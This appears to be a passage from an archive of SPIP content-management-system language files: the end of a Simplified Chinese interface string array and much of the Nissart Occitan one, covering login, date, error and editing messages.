'stats_visites_et_popularite' => '@visites@ 访问者; 流行: @popularite@',
'suivant' => '后一个',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@字符',
'texte_actualite_site_1' => '当您认为此界面适合您，您就可以点击«', # MODIF
'texte_actualite_site_2' => '完整界西',
'texte_actualite_site_3' => '» 使更多特性可用.',
'texte_creation_automatique_vignette' => '站点自动创建签名预览激活. 如果你安装, 通过论坛, 图片格式 @gd_formats@, 它们将能和一个最大尺寸为 @taille_preview@ 像素的连接.',
'texte_documents_associes' => '以下文档与文章相关联,,
但是它们不是直接插入的
. 基于公共站点的规划,
它们将作为附和文档出现.',
'texte_erreur_mise_niveau_base' => '整理过程中数据库错误。
图像<b>@fichier@</b>不能通过 (article @id_article@)。
认真阅读此参考内容，
再试整理过程，
并注意图像始终显示在你的文件中。', # MODIF
'texte_inc_auth_1' => '用登录名标识你自己
<b>@auth_login@</b>, 但是在数据库中不存在 (不再存在).
试', # MODIF
'texte_inc_auth_2' => '重新连接',
'texte_inc_auth_3' => '退出然后
重新启动你的浏览器.',
'texte_inc_config' => '以下的输入的修改显著的影响了站点的功能
. 仔细它除非你熟悉SPIP系统的功能
. <br /><br /><b>更一般地
, 强烈建议你的WEB站点管理员
处理这页.</b>', # MODIF
'texte_inc_meta_1' => '系统再写入文件<code>@fichier@</code>时遇到错误。作为站点管理员请', # MODIF
'texte_inc_meta_2' => '确认写权限', # MODIF
'texte_inc_meta_3' => '目录 ecrire/ 之上', # MODIF
'texte_statut_en_cours_redaction' => '编辑中',
'texte_statut_poubelle' => '到垃圾箱',
'texte_statut_propose_evaluation' => '提交评估',
'texte_statut_publie' => '在线出版',
'texte_statut_refuse' => '丢弃',
'titre_ajouter_mot_cle' => '加关键字:',
'titre_cadre_raccourcis' => '快捷方式:',
'titre_changer_couleur_interface' => '改变界面颜色',
'titre_image_admin_article' => '你可以管理这篇文章',
'titre_image_administrateur' => '管理者',
'titre_image_aide' => '该项目的帮助',
'titre_image_auteur_supprime' => '删除的作者',
'titre_image_redacteur' => '不能访问的编辑者',
'titre_image_redacteur_02' => '编辑者',
'titre_image_visiteur' => '访问者',
'titre_joindre_document' => '附加文档',
'titre_mots_cles' => '关键词',
'titre_probleme_technique' => '警告:技术问题 MYSQL 制止访问站点的这部分,谢谢理解 .', # MODIF
'titre_publier_document' => '在此栏下发布文档',
'titre_signatures_attente' => '签名等待认证', # MODIF
'titre_statistiques' => '站点统计',
'titre_titre_document' => '文章标题:',
'trad_reference' => '(参考文章)', # MODIF
// Z
'zbug_code' => '代码',
'zbug_erreur_boucle_double' => '环@id@: 重复定义', # MODIF
'zbug_erreur_boucle_fermant' => '环@id@: 缺少语句结尾标志', # MODIF
'zbug_erreur_boucle_syntaxe' => '句法中出现错误的环', # MODIF
'zbug_erreur_filtre' => '错误: 过滤<b>« @filtre@ »</b>未定义', # MODIF
'zbug_info_erreur_squelette' => '站点错误',
'zbug_table_inconnue' => 'SQL表格 « @table@ » 未知'
);
?>
spip_oc_ni.php 0000666 00000104520 15252547432 0007416 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_ni
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-oc',
'0_langue' => 'Nissart [oc_ni]',
'0_liste' => 'spip-oc@rezo.net',
'0_mainteneur' => 'Sébastien Donato : sebastien@donato.fr',
// A
'access_interface_graphique' => 'Tornar à l’interfaça grafica completa',
'access_mode_texte' => 'Affichar l’interfaça textuala simplificada', # essai commentaire
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modificar aquel article',
'admin_modifier_auteur' => 'Modificar aquel autor',
'admin_modifier_breve' => 'Modificar aquela brèva',
'admin_modifier_mot' => 'Modificar aqueu mòt clau',
'admin_modifier_rubrique' => 'Modificar aquela rubrica',
'admin_recalculer' => 'Tornar calcular aquesta pàgina',
'afficher_trad' => 'afichar li reviradas',
'alerte_maj_impossible' => '<b>Alèrta!</b> Es impossible d’actualisar la basa SQL vèrs la version @version@; bessai li a un problema relatiu au drech de modificar la basa de donadas. Vorgatz contactar lo voastre aubergador.',
'alerte_modif_info_concourante' => 'ATTENTION : Cette information a été modifié par ailleurs. La valeur actuelle est :', # MODIF
'analyse_xml' => 'Analisa XML',
'annuler' => 'Anular',
'antispam_champ_vide' => 'Vorgatz laissar aquel camp vuèi:',
'articles_recents' => 'Lu articles mai recents',
'avis_archive_incorrect' => 'lo fichier arquiu es pas un fichier SPIP',
'avis_archive_invalide' => 'lo fichier arquiu es pas valid',
'avis_attention' => 'DAIDA !',
'avis_champ_incorrect_type_objet' => 'Nom de camp incorrecte @name@ per object de tipe',
'avis_colonne_inexistante' => 'La colòna @col@ existisse pas',
'avis_erreur' => 'Error: veire çai sota',
'avis_erreur_connexion' => 'Error de connexion',
'avis_erreur_cookie' => 'problèma de cookie',
'avis_erreur_fonction_contexte' => 'Error de programacion. Cau pas apelar aquela foncion dins aqueu contèxt.',
'avis_erreur_mysql' => 'Error SQL ',
'avis_erreur_sauvegarde' => 'Error dins la sauvagarda (@type@ @id_objet@) ! ',
'avis_erreur_visiteur' => 'Problèma per accèdre à l’espaci privat',
// B
'barre_a_accent_grave' => 'Inserir una A accent grèu majuscula',
'barre_aide' => 'Utilisar li escorchas tipografiqui per enriquir la voastra compaginacion',
'barre_e_accent_aigu' => 'Inserir una E accent agut majuscula',
'barre_eo' => 'Inserir una E dins l’O',
'barre_eo_maj' => 'Inserir una E dins l’O majuscula',
'barre_euro' => 'Inserir lo simbòl €',
'barre_gras' => 'Metre en {{gras}}',
'barre_guillemets' => 'Enrodar mé de « verguetas francesi »',
'barre_guillemets_simples' => 'Enrodar mé de verguetas',
'barre_intertitre' => 'Transformar en {{{intertitre}}}',
'barre_italic' => 'Metre en {italics}',
'barre_lien' => 'Transformar en [ligam ipertèxt->http://...]',
'barre_lien_input' => 'Vorgatz indicar l’adreça dau voastre ligam (podètz indicar una adreça web sota la forma http://www.lomieusit.com ò simplament indicar lo número d’un article d’aqueu sit).',
'barre_note' => 'Transformar en [[Nòta de bas de pàgina]]',
'barre_quote' => '<quote>Citar un messatge</quote>',
'bouton_changer' => 'Cambiar',
'bouton_chercher' => 'Cercar',
'bouton_choisir' => 'Chausir',
'bouton_download' => 'Descargar',
'bouton_enregistrer' => 'Registrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la messatgeria interna',
'bouton_radio_envoi_annonces' => 'Mandar lu anoncis editoriaus',
'bouton_radio_non_envoi_annonces' => 'Mandar pas d’anoncis',
'bouton_radio_non_envoi_liste_nouveautes' => 'Mandar pas la tièra dei novetats',
'bouton_recharger_page' => 'tornar cargar aquela pàgina',
'bouton_telecharger' => 'Descargar',
'bouton_upload' => 'Telecargar',
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'après-miegjorn',
'cal_jour_entier' => 'jorn entié',
'cal_matin' => 'matin',
'cal_par_jour' => 'calendier per jorn',
'cal_par_mois' => 'calendier per mes',
'cal_par_semaine' => 'calendier per setmana',
'choix_couleur_interface' => 'color ',
'choix_interface' => 'chausida de l’interfaça',
'colonne' => 'Colomna',
'confirm_changer_statut' => 'Atencion, avètz demandat de cambiar l’estatut d’aquel element. Desiratz continuar? ',
'correcte' => 'corrècte',
// D
'date_aujourdhui' => 'encuèi',
'date_avant_jc' => 'avans lo Crist',
'date_dans' => 'dins @delai@',
'date_de_mois_1' => '@j@ de genoier',
'date_de_mois_10' => '@j@ d’octòbre',
'date_de_mois_11' => '@j@ de novembre',
'date_de_mois_12' => '@j@ de decembre',
'date_de_mois_2' => '@j@ de febrier',
'date_de_mois_3' => '@j@ de mars',
'date_de_mois_4' => '@j@ d’abriu',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de junh',
'date_de_mois_7' => '@j@ de julhet',
'date_de_mois_8' => '@j@ d’avost',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ à @heure@',
'date_fmt_jour_mois' => 'lo @jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ dau @annee@',
'date_fmt_mois_annee' => '@nommois@ dau @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'oras',
'date_hier' => 'ièr',
'date_il_y_a' => 'fa @delai@',
'date_jnum1' => '1er',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'diménegue',
'date_jour_1_abbr' => 'dmg.',
'date_jour_1_initiale' => 'dg.',
'date_jour_2' => 'diluns',
'date_jour_2_abbr' => 'dil.',
'date_jour_2_initiale' => 'dl.',
'date_jour_3' => 'dimars',
'date_jour_3_abbr' => 'dmr.',
'date_jour_3_initiale' => 'dm.',
'date_jour_4' => 'dimècres',
'date_jour_4_abbr' => 'dmc.',
'date_jour_4_initiale' => 'dc.',
'date_jour_5' => 'dijòus',
'date_jour_5_abbr' => 'dij.',
'date_jour_5_initiale' => 'dj.',
'date_jour_6' => 'divendres',
'date_jour_6_abbr' => 'div.',
'date_jour_6_initiale' => 'dv.',
'date_jour_7' => 'dissabta',
'date_jour_7_abbr' => 'dis.',
'date_jour_7_initiale' => 'ds.',
'date_jours' => 'jorns',
'date_minutes' => 'minutas',
'date_mois' => 'mès',
'date_mois_1' => 'genoier',
'date_mois_10' => 'octòbre',
'date_mois_11' => 'novembre',
'date_mois_12' => 'decembre',
'date_mois_2' => 'febrier',
'date_mois_3' => 'mars',
'date_mois_4' => 'abriu',
'date_mois_5' => 'mai',
'date_mois_6' => 'junh',
'date_mois_7' => 'julhet',
'date_mois_8' => 'avost',
'date_mois_9' => 'setembre',
'date_saison_1' => 'invèrn',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiu',
'date_saison_4' => 'auton',
'date_secondes' => 'secondas',
'date_semaines' => 'setmanas',
'date_un_mois' => 'mes',
'date_une_heure' => 'ora',
'date_une_minute' => 'minuta',
'date_une_seconde' => 'seconda',
'date_une_semaine' => 'setmana',
'dirs_commencer' => 'per començar vertadierament l’installacion',
'dirs_preliminaire' => 'Preliminari : <b>Reglar lu drechs d’accès</b>',
'dirs_probleme_droits' => 'Problèma de drechs d’accès',
'dirs_repertoires_absents' => '<p><b>Lu repertòris seguents son pas estat trobats:</b></p><ul>@bad_dirs@.</ul>
<p>Si pòu que vene d’un problema de majusculas ò minusculas mau mesi.
Verificatz que li minusculas e majusculas d’aquelu repertòris correspoandon ben embé cen qu’es afichat
çai sobre; s’es pas lo cas, tornatz nommar lu repertòris embé lo voastre logiciau FTP per corregir l’error.</p>
<p>Un còup qu’auretz fach aquò, podretz ',
'dirs_repertoires_suivants' => '<p><b>Lu repertòris seguents son pas accessibles en escritura :</b></p><ul>@bad_dirs@.</ul>
<p>Per adobar aquò, utilisatz lo voastre client FTP per fin de reglar lu drechs d’accès de cadun
d’aquelu repertòris. Lo guida d’installacion explica en detalh coma procèdre.</p>
<p>Un còup aquesta manipulacion facha, podretz ',
'double_occurrence' => 'Dobla ocurrénça',
// E
'envoi_via_le_site' => 'Mandadís mé lo biais dau sit web',
'erreur' => 'Error',
'erreur_balise_non_fermee' => 'darrièra balisa non tapada :',
'erreur_texte' => 'error(s)',
// F
'fichier_introuvable' => 'Fichier @fichier@ introuvable',
'form_deja_inscrit' => 'Siètz ja inscrich(a).',
'form_email_non_valide' => 'La voastra adreça e-mail es pas valida.',
'form_forum_access_refuse' => 'Podètz plus accedir à-n-aqueu sit.',
'form_forum_bonjour' => 'Boanjorn,',
'form_forum_email_deja_enregistre' => 'Aquela adreça e-mail es ja registrada, podètz doncas utilisar lo voastre mòt de santa Clara costumier.',
'form_forum_identifiant_mail' => 'Lo voastre novèl identificant ven de v’èstre mandat per e-mail.',
'form_forum_identifiants' => 'Identificants personaus',
'form_forum_indiquer_nom_email' => 'Indicatz aquí lo voastre nom e la voastra adreça e-mail. Lo voastre identificant personau arribarà rapidament, per corrier electronic.',
'form_forum_login' => 'login :',
'form_forum_message_auto' => '(aquò’s un messatge automatic)',
'form_forum_pass' => 'mòt de santa Clara :',
'form_forum_probleme_mail' => 'Problèma d’e-mail : si pòu pas mandar l’identificant.',
'form_forum_voici1' => 'Vètz lu voastres identificants per poder participar à la vida
dau sit "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Vètz lu voastres identificants per prepauar d’articles
sus lo sit "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Vorgatz indicar la voastra adreça e-mail.',
'form_indiquer_nom' => 'Vorgatz indicar lo voastre nom.',
'form_indiquer_nom_site' => 'Vorgatz indicar lo nom dau voastre sit.',
'form_pet_deja_enregistre' => 'Aqueu sit es ja registrat',
'form_pet_signature_pasprise' => 'La voastra signatura es pas pilhada en còmpte.',
'form_prop_confirmer_envoi' => 'Confirmar lo mandadís',
'form_prop_description' => 'Descripcion/comentari',
'form_prop_enregistre' => 'La voastra proposicion es registrada, apareisserà en linha après validacion per lu responsables dau sit.',
'form_prop_envoyer' => 'Mandar un messatge',
'form_prop_indiquer_email' => 'Vorgatz indicar una adreça e-mail valida',
'form_prop_indiquer_nom_site' => 'Vorgatz indicar lo nom dau sit.',
'form_prop_indiquer_sujet' => 'Vorgatz indicar un subjècte',
'form_prop_message_envoye' => 'Messatge mandat',
'form_prop_non_enregistre' => 'La voastra proposicion es pas estada registrada.',
'form_prop_sujet' => 'Subjècte',
'form_prop_url_site' => 'Adreça URL dau sit',
'forum_non_inscrit' => 'Siètz pas inscrich(a), ò l’adreça ò lo mòt de santa Clara son erronèus.',
'forum_par_auteur' => 'da @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'Lo fichier "backend" dei articles d’aquèu sit si tròba à l’adreça :',
'ical_texte_rss_articles2' => 'Podètz tambèn obténer de fichiers "backend" per lu articles de cada rubrica dau sit :',
'ical_texte_rss_breves' => 'Existisse de mai un fichier contenent li brèvas dau sit. En precisar un nùmero de rubrica, obtendretz ren que li brèvas d’aquela rubrica.',
'icone_a_suivre' => 'Da sègre',
'icone_admin_site' => 'Administracion dau sit',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors',
'icone_brouteur' => 'Navigacion rapida',
'icone_configuration_site' => 'Configuracion',
'icone_configurer_site' => 'Configurar lo voastre sit',
'icone_creer_nouvel_auteur' => 'Crear un noveu autor',
'icone_creer_rubrique' => 'Crear una rubrica',
'icone_creer_sous_rubrique' => 'Crear una sosrubrica',
'icone_deconnecter' => 'Si desconnectar',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents dei rubricas',
'icone_ecrire_article' => 'Escriure un novèl article',
'icone_edition_site' => 'Edicion',
'icone_gestion_langues' => 'Gestion dei lengas',
'icone_informations_personnelles' => 'Informacions personali',
'icone_interface_complet' => 'interfaça completa',
'icone_interface_simple' => 'Interfaça simplificada',
'icone_maintenance_site' => 'Mantenença dau sit',
'icone_messagerie_personnelle' => 'Messatgeria personala',
'icone_repartition_debut' => 'Afichar la reparticion despí lo principi',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Sauvagarda dau sit',
'icone_site_entier' => 'Tot lo sit',
'icone_sites_references' => 'Sits referençats',
'icone_statistiques' => 'Estadisticas dau sit',
'icone_suivi_activite' => 'Seguir la vida dau sit',
'icone_suivi_actualite' => 'Evolucion dau sit',
'icone_suivi_pettions' => 'Seguir/gerar li peticions',
'icone_suivi_revisions' => 'Modificacions dei articles',
'icone_supprimer_document' => 'Suprimir aqueu document',
'icone_supprimer_image' => 'Suprimir aquel imatge',
'icone_tous_articles' => 'Toi lu voastres articles',
'icone_tous_auteur' => 'Toi lu autors',
'icone_visiter_site' => 'Veire lo site public',
'icone_voir_en_ligne' => 'Veire en linha',
'img_indisponible' => 'imatge indisponible',
'impossible' => 'impossible',
'info_a_suivre' => 'DA SEGRE >>',
'info_acces_interdit' => 'Accès proïbit',
'info_acces_refuse' => 'Accès refudat',
'info_action' => 'Accion: @action@',
'info_administrer_rubriques' => 'Podètz administrar aquela rubrica e li sosrubricas sieui',
'info_adresse_non_indiquee' => 'Avètz pas indicat l’adreça de testar !',
'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Ajustar aqueu mòt',
'info_annonce' => 'ANONCI',
'info_annonces_generales' => 'Anoncis generaus :',
'info_article_propose' => 'Article prepauat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cors de redaccion',
'info_article_refuse' => 'Article refudat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Lu articles de validar',
'info_articles_proposes' => 'Articles prepauats',
'info_articles_un' => '1 article',
'info_auteurs_nombre' => 'autor(s)',
'info_authentification_ftp' => 'autentificacion (per FTP).',
'info_breves_2' => 'brèvas',
'info_connexion_refusee' => 'Connexion refusada',
'info_contact_developpeur' => 'Vorgatz contactar un desvolopaire.',
'info_contenance' => 'Aqueu sit compren :',
'info_contribution' => 'contribucions',
'info_copyright' => 'es un logiciau liure distribuit @lien_gpl@.',
'info_copyright_doc' => 'Per mai d’informacions, veire lo sit <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'sota licença GPL',
'info_cours_edition' => 'Lu voastres articles en cors de redacion',
'info_creer_repertoire' => 'Vorgatz crear un fichier ò un repertòri nomat',
'info_creer_repertoire_2' => 'en dintre dau sosrepertòri <b>@repertoire@</b>, pi:',
'info_creer_vignette' => 'creacion automatica de la vinheta',
'info_deplier' => 'Desplegar',
'info_descriptif_nombre' => 'descriptiu(s):',
'info_description' => 'Descripcion:',
'info_description_2' => 'Descripcion:',
'info_dimension' => 'Dimensions:',
'info_ecire_message_prive' => 'Escriure un messatge privat',
'info_email_invalide' => 'Adreça e-mail invalida',
'info_en_cours_validation' => 'Lu voastres articles en cors de redaccion',
'info_en_ligne' => 'Aüra en linha:',
'info_envoyer_message_prive' => 'Mandar un messatge privat à-n-aquel autor',
'info_erreur_requete' => 'Error dins la requesta',
'info_erreur_squelette2' => 'Minga d’esqueleta <b>@fichier@</b> es disponibla...',
'info_erreur_systeme' => 'Error sistèma (errno @errsys@)',
'info_erreur_systeme2' => 'Bessai lo disc dur es plen, ò la basa de donadas degalhada.<br />
<span style="color:red;">Provatz de <a href=\'@script@\'>reparar la basa</a>, ò contactatz lo voastre aubergador.</span>',
'info_fini' => 'Es acabat !',
'info_format_image' => 'Formats d’imatges que poadon èstre utilisats per crear de vinhetas: @gd_formats@.',
'info_format_non_defini' => 'format non definit',
'info_grand_ecran' => 'Grand ecran',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Metòde de fabricacion dei vinhetas',
'info_impossible_lire_page' => '<b>Error !</b> Impossible de lièger la pàgina <tt><html>@test_proxy@</html></tt> à travèrs lo proxy <tt>',
'info_installation_systeme_publication' => 'Installacion dau sistema de publicacion...',
'info_installer_documents' => 'Podètz installar automaticament toi lu documents contenguts dins lo dorsier @upload@.',
'info_installer_ftp' => 'Coma administrator, podètz installar (per FTP) de fichiers dins lo dorsier @upload@ pi lu seleccionar directament aquí.',
'info_installer_images' => 'Podètz installar d’imatges ai formats JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installar d’imatges dins lo dorsier @upload@ per lu poder seleccionar aquí.',
'info_interface_complete' => 'interfaça completa',
'info_interface_simple' => 'Interfaça simplificada',
'info_joindre_document_article' => 'Podètz jónher à-n-aquel article de documents de tipe',
'info_joindre_document_rubrique' => 'Podètz jónher à-n-aquela rubrica de documents de tipe',
'info_joindre_documents_article' => 'Podètz jónher à-n-aquel article de documents de tipe :',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brèva',
'info_la_rubrique' => 'la rubrica',
'info_langue_principale' => 'Lenga principala dau sit',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Solets lu lògos de formats @formats@ son autorisats.',
'info_logo_max_poids' => 'Lu lògos devon obligatòriament faire mens de @maxi@ (aquèu fichier fa @actuel@).',
'info_mail_fournisseur' => 'vos@provesidor.org',
'info_message_2' => 'MESSATGE',
'info_message_supprime' => 'MESSATGE SUPRIMIT',
'info_mise_en_ligne' => 'Data de mesa en linha:',
'info_modification_parametres_securite' => 'modificacions dei paramètres de seguretat',
'info_mois_courant' => 'En cors de mes:',
'info_mot_cle_ajoute' => 'Lo mòt clau seguent es estat ajustat à ',
'info_multi_herit' => 'Lenga predefinida',
'info_multi_langues_soulignees' => 'Li <u>lengas solinhadas</u> benefícion d’una revirada de toi lu tèxtes de l’interfaça. Se seleccionatz aqueli lengas, totplen d’elements dau sit public (datas, formularis) se reviraràn automaticament. Per li lengas non solinhadas, aquelu elements apareisseràn dins la lenga principala dau sit.', # MODIF
'info_multilinguisme' => 'Multilengüisme',
'info_nom_non_utilisateurs_connectes' => 'Lo voastre nom apareisse pas dins la tièra dei utilisaires connectats.',
'info_nom_utilisateurs_connectes' => 'Lo voastre nom apareisse dins la tièra dei utilisaires connectats.',
'info_nombre_en_ligne' => 'Aüra en linha :',
'info_non_resultat' => 'Minga de resultat per \\\\\\"@cherche_mot@\\\\\\"',
'info_non_utilisation_messagerie' => 'Utilisetz pas la messatgeria interna d’aqueu sit.',
'info_nouveau_message' => 'AVÈTZ UN MESSATGE NOVÈU',
'info_nouveaux_messages' => 'AVÈTZ @total_messages@ MESSATGES NÒUS',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'NÒTA DE RENEMBRANÇA ',
'info_petit_ecran' => 'Pichon ecran',
'info_pixels' => 'pixèus',
'info_plusieurs_mots_trouves' => 'Mantun mòts claus trobats per "@cherche_mot@":',
'info_portfolio_automatique' => 'Poartfòlio automatic:',
'info_premier_resultat' => '[@debut_limit@ promiers resultats de @total@]',
'info_premier_resultat_sur' => ' [@debut_limit@ promiers resultats de @total@]',
'info_propose_1' => '[@nom_site_spip@] Prepaua: @titre@',
'info_propose_2' => 'Article prepauat
----------------',
'info_propose_3' => 'L’article "@titre@" es prepauat à la publicacion.',
'info_propose_4' => 'Siètz convidat à lo venir consultar e à donar la voastra opinion',
'info_propose_5' => 'dins lo fòro que li es estacat. Es disponibla à l’adreça:',
'info_publie_01' => 'L’article "@titre@" es estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICA: @titre@',
'info_publie_2' => 'Article publicat
----------------',
'info_rechercher' => 'Recercar',
'info_rechercher_02' => 'Recercar:',
'info_remplacer_vignette' => 'Remplaçar la vinheta predefinida per un lògo personalisat :',
'info_sans_titre_2' => 'sensa titre',
'info_selectionner_fichier' => 'Podètz seleccionar un fichier dau dorsier @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un fichier :',
'info_supprimer_vignette' => 'suprimir la vinheta',
'info_symbole_bleu' => 'Lo simbòl <b>blu</b> marca una <b>nòta de remembrança</b>: es à dire un messatge dau voastre usatge personau.',
'info_symbole_jaune' => 'Lo simbòl <b>jaune</b> marca un <b>anonci per toi lu redactors </b>: lu administrators la poadon modificar, cada redactor la pòu veire.',
'info_symbole_vert' => 'Lo simbòl <b>verd</b> marca lu <b>messatges escambiats mé d’autres utilisaires</b> dau sit.',
'info_telecharger_nouveau_logo' => 'Telecargar un novèu lògo :',
'info_telecharger_ordinateur' => 'Telecargar despí lo voastre ordinator :',
'info_tous_resultats_enregistres' => '[toi lu resultats son registrats]',
'info_tout_afficher' => 'Far paréisser tot',
'info_travaux_texte' => 'Aqueu sit es pas encara configurat. Tornatz plus tard...',
'info_travaux_titre' => 'Sit en òbras',
'info_trop_resultat' => 'Tròp de resultats per \\\\\\"@cherche_mot@\\\\\\"; vorgatz afinar la recerca.',
'info_utilisation_messagerie_interne' => 'Utilisatz la messatgeria interna d’aqueu sit.',
'info_valider_lien' => 'validar aquel estac',
'info_verifier_image' => ', vorgatz verificar que lu voastres imatges son estats transferits correctament.',
'info_vignette_defaut' => 'Vinheta predefinida',
'info_vignette_personnalisee' => 'Vinheta personalisada',
'info_visite' => 'visita:',
'info_vos_rendez_vous' => 'Lu voastres rendètz-vos à venir',
'infos_vos_pense_bete' => 'Li voastri nòtas de renembrança ',
// L
'lien_afficher_icones_seuls' => 'Far paréisser li icònas unicament',
'lien_afficher_texte_icones' => 'Far paréisser li icònas e lo tèxt',
'lien_afficher_texte_seul' => 'Far paréisser lo tèxt solet',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'Liberar tot',
'lien_nouvea_pense_bete' => 'NOVÈLA NÒTA DE RENEMBRANÇA ',
'lien_nouveau_message' => 'MESSATGE NOVÈU',
'lien_nouvelle_annonce' => 'ANONCI NOVÈU',
'lien_petitions' => 'PETICION',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'RAIÇ DAU SIT',
'lien_reessayer' => 'tornar temptar',
'lien_repondre_message' => 'Respoandre à-n-aqueu messatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'Far tot paréisser',
'lien_visite_site' => 'visitar aqueu sit',
'lien_visites' => '@visites@ visitas',
'lien_voir_auteur' => 'Veire aquel autor',
'ligne' => 'Linha',
'login' => 'Connexion',
'login_acces_prive' => 'accès à l’espaci privat',
'login_autre_identifiant' => 'si connectar emb’un autre identificant',
'login_cookie_accepte' => 'Vorgatz configurar lo voastre navigador per que lu accèpte (aumens per aqueu sit).',
'login_cookie_oblige' => 'Per vos identificar d’una maniera segura sus aquest sit, vos cau acceptar lu cookies.',
'login_deconnexion_ok' => 'Siètz desconnectat/ada.',
'login_erreur_pass' => 'Error de mòt de santa Clara.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant « @login@ » es desconoissut.',
'login_login' => 'Login :',
'login_login2' => 'Login ò adreça email:',
'login_login_pass_incorrect' => '(Login ò mòt de santa Clara incorret.)',
'login_motpasseoublie' => 'mòt de Santa Clara oblidat ?',
'login_non_securise' => 'Mèfi, qu’aqueu formulari es pas securisat.
Se volètz pas que lo voastre mòt de santa Clara sigue
interceptat sus la ret, vorgatz activar Javascript
dins lo voastre navigador e',
'login_nouvelle_tentative' => 'novèla temptativa',
'login_par_ici' => 'Siètz registrat... per aquí...',
'login_pass2' => 'Mòt de santa Clara :',
'login_preferez_refuser' => '<b>Se preferissètz refudar lu cookies</b>, un autre metòde de connexion (mens securisat) es à la voastra disposicion:',
'login_recharger' => 'Tornar cargar aquela pàgina',
'login_rester_identifie' => 'Demorar identificat quaucu jorns',
'login_retour_public' => 'Tornar au sit public',
'login_retour_site' => 'Tornar au sit public',
'login_retoursitepublic' => 'tornar au sit public',
'login_sans_cookiie' => 'Identificacion sensa cookie',
'login_sinscrire' => 's’inscriure',
'login_test_navigateur' => 'test navigador/tornar connectar',
'login_verifiez_navigateur' => '(verificatz pura que lo voastre navigador a pas conservat lo mòt de santa Clara en memòria...)',
// M
'masquer_trad' => 'Escondre li reviradas',
'module_fichiers_langues' => 'Fichiers de langa',
// N
'navigateur_pas_redirige' => 'Se lo voastre navigador es pas redirigit, clicatz aquí per continuar.',
'numero' => 'Numerò',
// O
'occurence' => 'Ocurrénça',
'onglet_affacer_base' => 'Escafar la basa',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Contengut dau sit',
'onglet_evolution_visite_mod' => 'Evolucion',
'onglet_fonctions_avances' => 'Foncions avançadas',
'onglet_informations_personnelles' => 'Informacions personali',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Messatgeria',
'onglet_repartition_rubrique' => 'Reparticion per rubricas',
'onglet_save_restaur_base' => 'Sauvagardar/restaurar la basa',
'onglet_vider_cache' => 'Vuar l’amagador',
// P
'pass_choix_pass' => 'Vorgatz chausir lo voastre novèu mòt de santa Clara :',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error :</b> podètz plus accedir à-n-aqueu sit.',
'pass_erreur_code_inconnu' => '<b>Error :</b> aqueu còde correspoande à minga de visitaires qu’an accès à-n-aqueu sit.',
'pass_erreur_non_enregistre' => '<b>Error :</b> l’adreça <tt>@email_oubli@</tt> es pas registrada sus aqueu sit.',
'pass_erreur_non_valide' => '<b>Error :</b> aquel e-mail <tt>@email_oubli@</tt> es pas valid !',
'pass_erreur_probleme_technique' => '<b>Error:</b> per l’encausa d’un problema tecnic, l’e-mail si pòu pas mandar. ',
'pass_espace_prive_bla' => 'L’espaci privat d’aquest sit es dubèrt ai
visitaires que si son inscrichs. Un còup registrat/ada,
podrètz consultar lu articles en cors de redaccion,
prepauar d’articles novèus e participar à toi lu fòros.',
'pass_forum_bla' => 'Avètz demandat d’intervenir dins un fòro
